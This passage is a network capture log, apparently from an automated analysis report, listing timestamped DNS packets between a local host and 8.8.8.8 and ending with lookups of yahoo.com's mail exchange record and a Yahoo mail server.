Jan 7, 2022 15:57:10.401813030 CET	55890	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.440351009 CET	53	55890	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.446548939 CET	51042	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.465926886 CET	53	51042	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.556235075 CET	49373	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.575268030 CET	53	49373	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.588782072 CET	52387	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.610553026 CET	53	52387	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.618377924 CET	50258	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.653613091 CET	53	50258	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.656481981 CET	52792	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.677139997 CET	53	52792	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.689995050 CET	54917	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.709157944 CET	53	54917	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.734080076 CET	65064	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.752919912 CET	53	65064	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.757040024 CET	49902	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.775522947 CET	53	49902	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:10.793071985 CET	58996	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:10.818468094 CET	53	58996	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:11.369307041 CET	54566	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:11.388003111 CET	53	54566	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:11.403083086 CET	55142	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:11.419975042 CET	53	55142	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:11.432809114 CET	54588	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:11.455708027 CET	53	54588	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:11.458612919 CET	50471	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:11.475430965 CET	53	50471	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:11.486756086 CET	50272	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:11.507730961 CET	53	50272	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:12.509987116 CET	53956	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:12.528944969 CET	53	53956	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:12.543245077 CET	63503	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:12.564524889 CET	53	63503	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:12.589565039 CET	59690	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:12.606715918 CET	53	59690	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:12.619282961 CET	49991	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:12.638000965 CET	53	49991	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:12.647243023 CET	51971	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:12.664280891 CET	53	51971	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:13.556761980 CET	65451	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:13.575648069 CET	53	65451	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:13.589258909 CET	63643	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:13.626008034 CET	53	63643	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:13.634352922 CET	54839	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:13.671458006 CET	53	54839	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:13.884871006 CET	51941	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:13.964973927 CET	53	51941	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:13.978679895 CET	59439	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:13.997431040 CET	53	59439	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:14.004894972 CET	50450	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:14.023508072 CET	53	50450	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:14.885382891 CET	59497	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:14.904249907 CET	53	59497	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:14.915590048 CET	59073	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:14.936243057 CET	53	59073	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:14.950397968 CET	50418	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:14.969224930 CET	53	50418	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:14.978406906 CET	51556	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:14.997292042 CET	53	51556	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.002094030 CET	55321	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.203110933 CET	53	55321	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.307429075 CET	63370	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.341178894 CET	53	63370	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.348932981 CET	64115	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.367635012 CET	53	64115	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.372279882 CET	49472	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.388756990 CET	53	49472	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.395855904 CET	57321	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.414530993 CET	53	57321	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.422959089 CET	57107	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.433434010 CET	64271	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.440170050 CET	53	57107	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.446719885 CET	55229	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.451976061 CET	53	64271	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.455375910 CET	59500	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.465442896 CET	53	55229	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.473916054 CET	53	59500	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.541671038 CET	64972	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.674580097 CET	53	64972	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.678025007 CET	54842	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.694533110 CET	53	54842	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.697818041 CET	54860	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.716394901 CET	53	54860	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.725528002 CET	60146	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.744334936 CET	53	60146	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.747761011 CET	51231	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.763864994 CET	53	51231	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:15.773611069 CET	54018	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:15.792212009 CET	53	54018	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:16.694701910 CET	60902	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:16.713515043 CET	53	60902	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:27.147722960 CET	54737	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:27.166677952 CET	53	54737	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:37.916882992 CET	60241	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.917372942 CET	55521	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.921384096 CET	55402	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.922199011 CET	60142	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.925926924 CET	58216	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.927109957 CET	62066	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.927128077 CET	63135	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.936052084 CET	53	55521	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:37.940608025 CET	53867	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.942615986 CET	53	55402	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:37.945360899 CET	64063	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.956501961 CET	53	63135	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:37.957303047 CET	53	53867	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:37.961366892 CET	57219	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.966423035 CET	53	64063	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:37.968986988 CET	56579	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.969101906 CET	53	62066	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:37.975466013 CET	60879	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.975485086 CET	50292	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.979834080 CET	53	57219	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:37.985363007 CET	59521	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:37.987813950 CET	53	56579	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:37.992747068 CET	53	50292	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:37.995445967 CET	53	60879	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:37.997147083 CET	59844	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.003314018 CET	50801	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.004293919 CET	53	59521	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.011894941 CET	59609	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.021822929 CET	53	50801	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.026175022 CET	55259	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.027370930 CET	53	60142	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.028203964 CET	53	59609	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.036200047 CET	61472	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.038832903 CET	57167	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.041440010 CET	53	60241	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.043629885 CET	53	58216	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.045835972 CET	62852	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.047394037 CET	53	55259	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.049731016 CET	64584	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.057533979 CET	53	57167	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.063870907 CET	53	62852	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.067604065 CET	51886	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.068356037 CET	53	64584	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.073375940 CET	58299	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.091883898 CET	53	58299	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.098547935 CET	62311	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.117351055 CET	53	62311	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.119997025 CET	51453	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.138590097 CET	53	51453	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.142374992 CET	64860	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.153505087 CET	53	61472	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.156872988 CET	65417	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.160978079 CET	53	64860	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.233686924 CET	53	59844	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.233958960 CET	53	51886	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.237675905 CET	57730	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.237710953 CET	50413	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.256500959 CET	53	57730	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.258855104 CET	58252	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.273801088 CET	53	65417	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.275671005 CET	53	58252	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.277386904 CET	63940	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.293862104 CET	53	63940	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.304826021 CET	57158	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:38.322617054 CET	53	57158	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.499782085 CET	53	50413	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:38.996731043 CET	63348	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:39.015237093 CET	53	63348	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:39.020252943 CET	58901	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:39.040442944 CET	53	58901	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:39.046312094 CET	57721	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:39.046354055 CET	60667	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:39.065047026 CET	53	57721	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:39.068979979 CET	53	60667	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:39.069530010 CET	64452	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:39.072577953 CET	58156	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:39.088205099 CET	53	64452	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:39.089267015 CET	53	58156	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:39.095573902 CET	62176	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:39.099582911 CET	58395	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:39.119832039 CET	53	58395	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:39.134591103 CET	53	62176	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:39.195997953 CET	53985	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:39.199517012 CET	54641	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:39.216011047 CET	53	54641	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:39.216186047 CET	53	53985	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:39.220329046 CET	50614	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:39.239161015 CET	53	50614	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:41.403606892 CET	60215	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:41.420111895 CET	53	60215	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:41.425497055 CET	56306	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:41.444185972 CET	53	56306	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:41.452406883 CET	51289	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:41.470482111 CET	53	51289	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:41.478480101 CET	55183	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:41.498214960 CET	53	55183	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:41.505861044 CET	51843	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:41.546411037 CET	53	51843	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:41.592981100 CET	50487	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:41.629916906 CET	53	50487	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:41.634500980 CET	59307	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:41.668620110 CET	53	59307	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:41.688936949 CET	64469	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:41.707338095 CET	53	64469	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:41.712004900 CET	58755	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:41.729213953 CET	53	58755	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:42.386815071 CET	52485	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:42.405510902 CET	53	52485	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:42.443995953 CET	54618	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:42.462487936 CET	53	54618	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:42.487023115 CET	59655	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:42.505873919 CET	53	59655	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:42.513772964 CET	64089	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:42.530541897 CET	53	64089	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:42.548877001 CET	57015	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:42.567410946 CET	53	57015	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:42.653770924 CET	64420	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:42.671853065 CET	53	64420	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:42.879271030 CET	54150	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:42.896100044 CET	53	54150	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:42.905355930 CET	57615	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:42.923871994 CET	53	57615	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:42.935544968 CET	58806	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:42.954413891 CET	53	58806	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:42.971812963 CET	55189	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:42.990453959 CET	53	55189	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.017815113 CET	49892	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.036422968 CET	53	49892	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.065102100 CET	55598	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.083750963 CET	53	55598	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.091761112 CET	51271	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.110395908 CET	53	51271	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.129164934 CET	53164	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.147880077 CET	53	53164	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.157813072 CET	59665	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.176388025 CET	53	59665	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.186940908 CET	57235	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.203737020 CET	53	57235	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.216276884 CET	63376	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.235488892 CET	53	63376	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.253132105 CET	57340	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.271724939 CET	53	57340	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.282188892 CET	53301	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.302695990 CET	53	53301	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.313831091 CET	50021	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.330461979 CET	53	50021	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.345856905 CET	52548	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.362586021 CET	53	52548	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.376864910 CET	55274	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.393727064 CET	53	55274	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.428689003 CET	54340	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.447278976 CET	53	54340	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.779328108 CET	53458	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.795938969 CET	53	53458	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.826330900 CET	59195	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.843097925 CET	53	59195	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.859905005 CET	60433	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.878983974 CET	53	60433	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.906830072 CET	57647	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.925791025 CET	53	57647	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.940376997 CET	63403	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.959229946 CET	53	63403	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:43.980890989 CET	60836	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:43.999453068 CET	53	60836	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.014334917 CET	61671	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.033415079 CET	53	61671	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.046946049 CET	56746	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.066715956 CET	53	56746	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.106439114 CET	50469	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.126270056 CET	53	50469	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.144248009 CET	55309	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.162837029 CET	53	55309	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.185895920 CET	61582	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.204607010 CET	53	61582	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.236685038 CET	53613	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.253431082 CET	53	53613	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.267029047 CET	56548	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.286039114 CET	53	56548	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.297395945 CET	57465	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.316191912 CET	53	57465	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.355448961 CET	53749	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.374350071 CET	53	53749	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.389843941 CET	52241	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.408562899 CET	53	52241	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.422497034 CET	56634	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.441610098 CET	53	56634	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.465116024 CET	62426	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.484009027 CET	53	62426	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.499677896 CET	59895	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.518899918 CET	53	59895	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.534560919 CET	54905	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.554713011 CET	53	54905	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.583503008 CET	63237	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.601941109 CET	53	63237	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.624094009 CET	51510	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.642365932 CET	53	51510	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.657794952 CET	59973	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.676553965 CET	53	59973	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.704015017 CET	57117	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.722868919 CET	53	57117	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.735176086 CET	50080	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.752181053 CET	53	50080	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.781753063 CET	51261	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.798357964 CET	53	51261	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:44.812834024 CET	56312	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:44.829803944 CET	53	56312	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:50.905427933 CET	55955	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:50.922399998 CET	53	55955	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:50.940814972 CET	62176	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:50.959767103 CET	53	62176	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:51.005285025 CET	52626	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:51.022165060 CET	53	52626	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:51.358369112 CET	62443	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:51.380922079 CET	53	62443	8.8.8.8	192.168.2.4
Jan 7, 2022 15:57:51.656126022 CET	49421	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:57:51.674654961 CET	53	49421	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:14.658153057 CET	56967	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:14.678000927 CET	53	56967	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:14.694231033 CET	50564	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:14.712820053 CET	53	50564	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:14.739842892 CET	50168	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:14.758413076 CET	53	50168	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:14.788883924 CET	50196	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:14.807682991 CET	53	50196	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:14.834814072 CET	51648	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:14.853596926 CET	53	51648	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:14.879556894 CET	56891	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:14.897419930 CET	53	56891	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:14.916623116 CET	55583	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:14.936224937 CET	53	55583	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:14.975737095 CET	53926	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:14.992965937 CET	53	53926	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:15.022599936 CET	51018	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:15.041440964 CET	53	51018	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:15.048413038 CET	57672	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:15.067325115 CET	53	57672	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:15.078471899 CET	55403	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:15.098793030 CET	53	55403	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:15.103832006 CET	56986	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:15.109992027 CET	63467	53	192.168.2.4	8.8.8.8
Jan 7, 2022 15:58:15.122755051 CET	53	56986	8.8.8.8	192.168.2.4
Jan 7, 2022 15:58:15.129421949 CET	53	63467	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 7, 2022 15:55:55.699006081 CET	192.168.2.4	8.8.8.8	0x1957	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:55.743016005 CET	192.168.2.4	8.8.8.8	0x862d	Standard query (0)	mta5.am0.yahoodns.net	A (IP address)	IN (0x0001)
